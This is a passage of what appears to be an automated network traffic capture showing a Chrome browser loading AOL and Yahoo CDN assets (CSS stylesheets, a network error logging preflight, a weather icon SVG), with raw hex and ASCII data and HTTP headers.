2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 2e 6d 2d 6c 6e 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 50 6f 70 70 69 6e 73 2c 5f 4f 70 65 6e 53 61 6e 73 2c 4f 70 65 6e 53 61 6e 73 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 68 65 6c 76 65 74 69 63 61 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 34 70 78 7d 2e 6d 2d 6c 6e 5f 5f 74 69 74 6c 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 34 70 78 20 73 6f 6c 69 64 20 23 66 66 63 62 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: .m-ln{text-align:left;font-size:16px;font-family:Poppins,_OpenSans,OpenSans,Helvetica Neue,helvetica,arial,sans-serif;color:#232a31;margin-bottom:24px;margin-top:24px}.m-ln__title{border-left:4px solid #ffcb00;font-size:28px;font-style:normal;font-weight:
2024-05-23 22:34:33 UTC	1	IN	Data Raw: 30 Data Ascii: 0
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 30 34 37 66 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 65 66 66 66 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 30 31 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 30 30 70 78 29 7b 2e 6d 2d 6e 65 77 73 5f 5f 6c 69 73 74 2d 2d 6e 65 77 2d 72 65 61 64 6d 6f 72 65 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 73 74 61 72 74 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 74 61 72 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 7b 2e 6d 2d 6e 65 77 73 5f 5f 6c 69 73 74 2d 2d 6e 65 77 2d 72 65 Data Ascii: 047ff;font-weight:600;background-color:#fefffe}@media screen and (min-width:601px)and (max-width:900px){.m-news__list--new-readmore{-webkit-box-pack:start;-ms-flex-pack:start;justify-content:start}}@media screen and (max-width:600px){.m-news__list--new-re
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 66 74 20 2e 6d 2d 63 62 5f 5f 69 6d 61 67 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 37 35 25 7d 2e 6d 2d 63 62 2d 2d 39 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 6d 2d 63 62 2d 2d 39 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 20 2e 6d 2d 63 62 5f 5f 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 6d 2d 63 62 2d 2d 39 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 30 30 70 Data Ascii: ft .m-cb__image{padding-top:75%}.m-cb--9 .m-cb__content--middle{margin-bottom:0}.m-cb--9 .m-cb__content--middle .m-cb__heading{font-weight:700;font-size:16px;line-height:24px}.m-cb--9 .m-cb__content--right{margin-bottom:0}@media screen and (max-width:900p
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 78 7d 2e 6d 2d 63 62 2d 2d 62 6e 20 2e 62 75 73 69 6e 65 73 73 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 20 2e 6d 2d 63 62 5f 5f 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 6d 2d 63 62 2d 2d 62 6e 20 2e 62 75 73 69 6e 65 73 73 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 20 2e 6d 2d 63 62 5f 5f 69 6d 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 68 65 69 67 68 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 36 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 Data Ascii: x}.m-cb--bn .business .m-cb__content--right .m-cb__heading{font-size:16px;line-height:24px;font-weight:600}.m-cb--bn .business .m-cb__content--right .m-cb__image{position:relative;height:0;width:100%;padding-top:100%;border-radius:16px;overflow:hidden;mar
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 6f 6e 74 65 6e 74 2d 2d 6c 65 66 74 20 2e 6d 2d 63 62 5f 5f 69 6d 61 67 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 7d 2e 6d 2d 63 62 2d 2d 76 6e 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 20 61 2e 6d 2d 63 62 5f 5f 6c 69 6e 6b 20 64 69 76 2e 67 72 69 64 2d 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 36 70 78 7d 2e 6d 2d 63 62 2d 2d 76 6e 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 20 61 2e 6d 2d 63 62 5f 5f 6c 69 6e 6b 3a 6e 74 68 2d 63 68 69 6c 64 28 33 29 20 64 69 76 2e 67 72 69 64 2d 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 38 70 78 7d 2e 6d 2d 63 62 2d 2d 76 6e 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 20 61 2e 6d 2d 63 62 5f 5f 6c 69 6e 6b 3a 6e 74 68 Data Ascii: ontent--left .m-cb__image{border-radius:8px}.m-cb--vn .m-cb__content--right a.m-cb__link div.grid-x{margin-bottom:36px}.m-cb--vn .m-cb__content--right a.m-cb__link:nth-child(3) div.grid-x{margin-bottom:28px}.m-cb--vn .m-cb__content--right a.m-cb__link:nth
2024-05-23 22:34:33 UTC	4	IN	Data Raw: 3a 63 61 6c Data Ascii: :cal
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 63 28 34 35 2e 34 35 34 35 35 25 20 2d 20 34 30 70 78 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 31 70 78 29 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 35 65 6d 29 7b 2e 6d 2d 63 62 2d 2d 31 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 35 2e 34 35 34 35 35 25 20 2d 20 34 30 70 78 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 31 70 78 29 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 2e 30 36 32 35 65 6d 29 7b 2e 6d 2d 63 62 2d 2d 31 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 35 2e 34 35 34 35 35 25 20 2d 20 34 30 70 78 29 7d 7d 40 6d 65 64 69 61 20 73 Data Ascii: c(45.45455% - 40px)}}@media screen and (min-width:901px)and (min-width:105em){.m-cb--1 .m-cb__content{width:calc(45.45455% - 40px)}}@media screen and (min-width:901px)and (min-width:90.0625em){.m-cb--1 .m-cb__content{width:calc(45.45455% - 40px)}}@media s
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 30 25 7d 2e 6d 2d 63 62 2d 2d 66 6f 6f 64 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6c 65 66 74 20 2e 6d 2d 63 62 5f 5f 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 7d 2e 6d 2d 63 62 2d 2d 66 6f 6f 64 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 32 2e 38 35 37 31 34 25 20 2d 20 31 2e 32 35 72 65 6d 29 7d 2e 6d 2d 63 62 2d 2d 66 6f 6f 64 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 20 2e 6d 2d 63 62 5f 5f 63 61 72 6f 75 73 65 6c 2d 2d 69 74 65 6d 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 2e 6d 2d 63 62 2d 2d 66 6f 6f 64 20 2e 6d 2d 63 Data Ascii: 0%}.m-cb--food .m-cb__content--left .m-cb__heading{font-size:16px;line-height:20px}.m-cb--food .m-cb__content--middle{width:calc(42.85714% - 1.25rem)}.m-cb--food .m-cb__content--middle .m-cb__carousel--item:last-of-type{margin-bottom:24px}.m-cb--food .m-c
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 69 64 74 68 3a 35 36 2e 33 31 32 35 65 6d 29 7b 2e 6d 2d 63 62 2d 2d 39 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 32 2e 38 35 37 31 34 25 20 2d 20 32 30 70 78 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 32 34 70 78 29 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 30 2e 32 35 65 6d 29 7b 2e 6d 2d 63 62 2d 2d 39 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 6d 69 64 64 6c 65 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 32 2e 38 35 37 31 34 25 20 2d 20 34 30 70 78 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 32 34 70 78 29 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 30 2e 30 Data Ascii: idth:56.3125em){.m-cb--9 .m-cb__content--middle{width:calc(42.85714% - 20px)}}@media screen and (min-width:1124px)and (min-width:70.25em){.m-cb--9 .m-cb__content--middle{width:calc(42.85714% - 40px)}}@media screen and (min-width:1124px)and (min-width:80.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49756	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:34 UTC	585	OUT	GET /caas-assets-production/assets/v1/aol_header.8f2cf9375f417c47.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:34 UTC	622	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1438121 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:34 GMT Etag: "8f2cf9375f417c472447b796c1c9666e" Last-Modified: Tue, 07 May 2024 06:55:56 GMT Server: ECAcc (lhd/3598) Vary: Accept-Encoding x-amz-id-2: KziQPObaNY7c0qHiWiqu5pqV2gkFZT3zkZhD5cizKiukay+qGlVU8g/pg7C6HLemNnFXOxF8GRs= x-amz-replication-status: COMPLETED x-amz-request-id: DE861RF3086JYZJW x-amz-server-side-encryption: AES256 x-amz-version-id: oqaTz3aPNIjtxrCmxtw3jp0pKDXFTocC X-Cache: HIT Content-Length: 88529 Connection: close
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 2e 6d 2d 67 61 6d 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 6d 2d 67 61 6d 5f 5f 70 6c 61 63 65 68 6f 6c 64 65 72 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 6d 61 72 67 Data Ascii: .m-gam{margin:auto}.m-gam__placeholder{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:#e0e4e9;marg
2024-05-23 22:34:34 UTC	1	IN	Data Raw: 6f Data Ascii: o
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 6d 65 41 70 70 42 61 6e 6e 65 72 20 2e 6d 2d 62 61 6e 6e 65 72 5f 5f 69 6e 6e 65 72 2d 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 30 65 34 65 39 7d 2e 6d 2d 62 61 6e 6e 65 72 2d 2d 63 68 72 6f 6d 65 41 70 70 42 61 6e 6e 65 72 20 2e 6d 2d 62 61 6e 6e 65 72 5f 5f 69 6d 67 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 34 34 70 78 3b 77 69 64 74 68 3a 34 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 Data Ascii: meAppBanner .m-banner__inner--container{position:static;background-color:#fff;background-image:none;border:1px solid #e0e4e9}.m-banner--chromeAppBanner .m-banner__img{-webkit-box-sizing:content-box;box-sizing:content-box;height:44px;width:44px;padding-rig
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 31 37 35 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 6e 61 76 72 61 69 6c 20 2e 6d 61 69 6c 2d 6c 69 6e 6b 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 6e 61 76 72 61 69 6c 20 2e 70 72 6f 66 69 6c 65 2d 6c 69 6e 6b 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 6e 61 76 72 61 69 6c 3e 6c 69 7b 2d 77 65 62 6b 69 74 2d 62 Data Ascii: ox-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;list-style:none;margin:0;padding:0 0 175px}.m-AolHeader .navrail .mail-link,.m-AolHeader .navrail .profile-link{display:none}.m-AolHeader .navrail>li{-webkit-b
2024-05-23 22:34:34 UTC	2	IN	Data Raw: 65 72 Data Ascii: er
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 20 2e 64 65 73 6b 74 6f 70 2d 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 62 75 74 74 6f 6e 20 2e 6c 6f 67 6f 75 74 2d 62 75 74 74 6f 6e 20 2e 74 65 78 74 2d 6c 61 62 65 6c 2d 77 69 64 74 68 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 64 65 73 6b 74 6f 70 2d 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 62 75 74 74 6f 6e 20 2e 6d 61 69 6c 2d 62 75 74 74 6f 6e 20 2e 74 65 78 74 2d 6c 61 62 65 6c 2d 77 69 64 74 68 2c 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 20 2e 64 65 73 6b 74 6f 70 2d 75 73 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 75 73 65 72 2d 6e 61 76 69 67 61 74 Data Ascii: .desktop-user-navigation .user-navigation .user-profile-button .logout-button .text-label-width,.m-AolHeader .desktop-user-navigation .user-navigation .user-profile-button .mail-button .text-label-width,.m-AolHeader .desktop-user-navigation .user-navigat
2024-05-23 22:34:34 UTC	16383	IN	Data Raw: 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 30 30 70 78 29 7b 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 72 6f 75 6e 64 65 64 53 65 61 72 63 68 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 73 65 61 72 63 68 2d 68 69 64 64 65 6e 20 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 73 68 61 64 6f 77 7b 74 6f 70 3a 34 35 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 72 6f 75 6e 64 65 64 53 65 61 72 63 68 20 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 73 68 61 64 6f 77 7b 74 6f 70 3a 31 31 35 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 31 70 78 29 7b 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c Data Ascii: ia screen and (max-width:900px){.m-AolHeader.m-AolHeader--roundedSearch.m-AolHeader--search-hidden .m-AolHeader--shadow{top:45px}.m-AolHeader.m-AolHeader--roundedSearch .m-AolHeader--shadow{top:115px}}@media screen and (min-width:901px){.m-AolHeader.m-Aol
2024-05-23 22:34:34 UTC	6611	IN	Data Raw: 74 73 5f 5f 61 63 63 7e 2e 6d 2d 68 65 61 64 65 72 2d 66 6c 79 6f 75 74 73 5f 5f 63 6c 6f 73 65 42 74 6e 7b 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 61 76 56 32 20 2e 6d 2d 68 65 61 64 65 72 2d 66 6c 79 6f 75 74 73 20 2e 6d 2d 66 6c 79 6f 75 74 2d 2d 6f 70 65 6e 2e 6d 2d 68 65 61 64 65 72 2d 66 6c 79 6f 75 74 73 5f 5f 6e 61 76 7e 2e 6d 2d 68 65 61 64 65 72 2d 66 6c 79 6f 75 74 73 5f 5f 63 6c 6f 73 65 42 74 6e 7b 72 69 67 68 74 3a 32 30 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 6e 61 76 56 32 20 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2d 2d 73 68 61 64 6f 77 7b 74 6f 70 3a 36 35 70 78 7d 2e 6d 2d 41 6f 6c 48 65 61 64 65 72 2e 6d 2d 41 6f 6c 48 65 Data Ascii: ts__acc~.m-header-flyouts__closeBtn{left:20px}.m-AolHeader.m-AolHeader--navV2 .m-header-flyouts .m-flyout--open.m-header-flyouts__nav~.m-header-flyouts__closeBtn{right:20px}.m-AolHeader.m-AolHeader--navV2 .m-AolHeader--shadow{top:65px}.m-AolHeader.m-AolHe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49757	152.195.133.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:34 UTC	409	OUT	OPTIONS /nel/v0?s=QlcUD1xRUxNXDlABC1NW HTTP/1.1 Host: report.edgecast.com Connection: keep-alive Origin: https://s.aolcdn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:34 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Origin: * Allow: OPTIONS, GET, HEAD, POST cache-control: max-age=604800 Date: Thu, 23 May 2024 22:34:34 GMT NEL: {"report_to": "default", "max_age": 1800, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.01} Report-To: {"group": "default", "max_age":1800, "endpoints":[{"url":"https://nelcollector.sre.ecsvc.net/report"}]} Server: ECAcc (lhd/3586) Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49759	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:34 UTC	625	OUT	GET /cv/apiv2/aolfp/images/weather/large/28-mostly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:35 UTC	795	IN	HTTP/1.1 200 OK x-amz-id-2: CrsI/x9dAsynr0QSeuFsmF4E2k5271zOAmH900enmGnm5O8h77GATu1lnhm5GN2jhc+pM8ssXlc= x-amz-request-id: KXF7RS5W5QTVMTVP Date: Thu, 02 May 2024 01:21:26 GMT Last-Modified: Fri, 17 Mar 2023 06:48:19 GMT ETag: "0569dc23a557ab5e62e6ae0d5170c490" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 2594 Referrer-Policy: no-referrer-when-downgrade Age: 1890791 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-05-23 22:34:35 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 38 22 20 68 65 69 67 68 74 3d 22 31 32 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 20 31 32 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 33 22 20 64 3d 22 4d 35 37 2e 35 20 39 35 43 37 39 2e 38 36 37 35 20 39 35 20 39 38 20 37 36 2e 38 36 37 35 20 39 38 20 35 34 2e 35 43 39 38 20 33 32 2e 31 33 32 35 20 37 39 2e 38 36 37 35 20 31 34 20 35 37 2e 35 20 31 34 43 33 35 2e 31 33 32 35 20 31 34 20 31 37 20 33 32 2e 31 33 32 35 20 31 37 20 35 34 2e 35 43 31 37 20 37 36 2e 38 36 37 35 20 33 35 2e 31 33 32 35 20 39 35 20 35 37 2e 35 20 39 35 5a 22 20 66 Data Ascii: <svg width="128" height="128" viewBox="0 0 128 128" fill="none" xmlns="http://www.w3.org/2000/svg"><path opacity="0.3" d="M57.5 95C79.8675 95 98 76.8675 98 54.5C98 32.1325 79.8675 14 57.5 14C35.1325 14 17 32.1325 17 54.5C17 76.8675 35.1325 95 57.5 95Z" f
2024-05-23 22:34:35 UTC	1294	IN	Data Raw: 34 36 2e 37 39 37 32 20 34 37 2e 33 35 33 36 20 34 32 2e 39 32 20 36 34 2e 37 32 43 34 30 2e 30 38 30 36 20 36 33 2e 35 39 33 34 20 33 37 2e 30 35 34 38 20 36 33 2e 30 31 20 33 34 20 36 33 43 32 30 2e 37 34 35 32 20 36 33 20 31 30 20 37 33 2e 37 34 35 32 20 31 30 20 38 37 43 31 30 20 31 30 30 2e 32 35 35 20 32 30 2e 37 34 35 32 20 31 31 31 20 33 34 20 31 31 31 48 38 30 43 31 30 30 2e 39 38 37 20 31 31 31 20 31 31 38 20 39 33 2e 39 38 36 38 20 31 31 38 20 37 33 43 31 31 38 20 35 32 2e 30 31 33 32 20 31 30 30 2e 39 38 37 20 33 35 20 38 30 20 33 35 5a 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 30 2e 32 22 2f 3e 0a 3c 64 65 66 73 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 30 5f Data Ascii: 46.7972 47.3536 42.92 64.72C40.0806 63.5934 37.0548 63.01 34 63C20.7452 63 10 73.7452 10 87C10 100.255 20.7452 111 34 111H80C100.987 111 118 93.9868 118 73C118 52.0132 100.987 35 80 35Z" fill="white" fill-opacity="0.2"/><defs><linearGradient id="paint0_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
